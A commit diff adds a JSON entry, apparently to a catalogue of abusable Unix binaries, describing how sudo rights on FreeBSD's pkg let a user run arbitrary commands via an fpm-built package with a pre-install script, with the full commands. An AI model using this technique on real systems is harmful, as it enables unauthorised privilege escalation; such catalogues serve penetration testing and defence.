add data source for pkg

data/pkg.json

@@ -0,0 +1,10 @@
+{
+  "functions": {
+    "sudo": [
+      {
+        "description": "It runs commands using a specially crafted FreeBSD package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```",
+        "code": "sudo pkg install -y --no-repo-update ./x-1.0.txz\n"
+      }
+    ]
+  }
+}